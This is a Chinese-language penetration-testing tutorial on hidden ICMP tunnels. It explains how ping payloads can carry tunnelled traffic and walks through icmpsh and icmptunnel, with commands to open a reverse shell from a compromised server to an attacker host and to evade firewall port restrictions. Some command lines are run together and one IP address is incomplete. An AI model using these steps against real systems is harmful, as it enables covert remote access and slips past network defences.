内网渗透之ICMP隐藏隧道


内网渗透之ICMP隐藏隧道

文章插图

内网渗透完成信息收集后,流量是否能够正常进出,是内网渗透中需要考虑的地方之一
? ICMP(Internet ControllerMessages Protocol,网间控制报文协议)是TCP/IP协议族的子协议,是一种面向无连接的协议 。用于在IP主机、路由器之间传递控制消息 。
控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息 。
这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用 。
? 参考文章:
https://baike.baidu.com/item/ICMP/572452?fr=kg_qa
? 在一些网络环境中,如果攻击者使用各类上层隧道(例如HTTP隧道,DNS隧道,正反向端口转发等)进行操作均失败 。
那么可以尝试使用ICMP建立隧道,ICMP协议不需要端口的开放,因为其基于IP工作的
所以我们将其归结到网络层,ICMP消息最为常见的就是ping命令的回复
将TCP/UDP数据包封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙是不会屏蔽ping数据包的)
建立ICMP隧道? 用于建立ICMP隧道的工具一般用icmpsh,icmptunnel,ptunnel,icmpshell
工作原理? 请求端的 Ping 工具通常会在 ICMP 数据包后面附加上一段随机的数据作为 Payload
而响应端则会拷贝这段 Payload 到 ICMP 响应数据包中返还给请求端,用于识别和匹配 Ping 请求 。
? windows 和 linux 系统下的 Ping 工具默认的 Payload 长度为 64 比特,但实际上协议允许附加最大 64K 大小的 Payload 。
? 对于隧道数据,icmptunnel 首先会指定客户端和服务器端 。
随后,客户端会将 IP 帧封装在 ICMP 请求数据包中发送给服务器,而服务器端则会使用相匹配的 ICMP 响应数据包进行回复 。
这样在旁人看来,网络中传播的仅仅只是正常的 ICMP 数据包 。
icmpsh
? 工具安装
git clone https://github.com/inquisb/icmpsh.git #下载工具apt-get install Python-impacket #安装依赖sysctl -w net.ipv4.icmp_echo_ignore_all=1#关闭本地ICMP应答icmpsh的使用场景如下:
内网渗透之ICMP隐藏隧道

文章插图
 
? 服务器暴露在外网上,可以访问外部网络,但是服务上有防火墙,拒绝了敏感端口的连接(比如22端口,3389端口等) 。
使用icmpsh的目的就是为了能够绕过对敏感端口的限制,此时ICMP作为获取反向shell的通道,进行反向shell.
?
攻击者IP地址:192.168.1.76服务器IP地址:192.168.1.113? 被攻击的服务器端运行
icmpsh.exe -t 192.168.1.76(攻击者)
内网渗透之ICMP隐藏隧道

文章插图
 
攻击者端运行icmpsh的控制端
python icmpsh_m.py 192.168.1.76(攻击者) 192.168.1.113(被攻击者)
内网渗透之ICMP隐藏隧道

文章插图
 
【内网渗透之ICMP隐藏隧道】? 观察wireshare的流量变化,可以看到这里是由192.168.1.113向192.168.1.76发出request请求,这里也就印证了这里进行的是反向shell 。
内网渗透之ICMP隐藏隧道

文章插图
 
icmptunnel
? icmptunnel的优势在于可以穿过状态防火墙或NAT
? 一些设备会过滤没有匹配响应数据包的 Ping 包 。
而在非对称连接中,来自服务器端的流量会大于客户端,反之亦然,这样客户端可能会丢弃一些相应数据包,因为响应数据包多余请求数据包 。
? icmptunnel 有一个机制来专门解决这个问题 。
客户端会定期发送一个空的 ICMP 请求数据包给状态防火墙或 NAT,而这些请求数据包都会被记录在防火墙状态表中 。
同时通过保持发送带有载体的数据包,这样客户端会维持一个可以用于服务器端发送数据的“数据包窗口” 。
参考
:https://www.cnblogs.com/bonelee/p/7462218.html
? 安装icmptunnel
git clone https://github.com/jamesbarlow/icmptunnel.gitcd icmptunnelmake? 可能会出现缺少头文件的问题,参考文章
:https://blog.csdn.net/zhutingting0428/article/details/51120949
? 使用场景和icmpsh一样(被攻击对象为linux的情况下)
攻击者IP:192.168.1.76被攻击者的IP:192.168.26?
? 攻击者开启icmptunnel服务端模式:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all ./icmptunnel –s
内网渗透之ICMP隐藏隧道


推荐阅读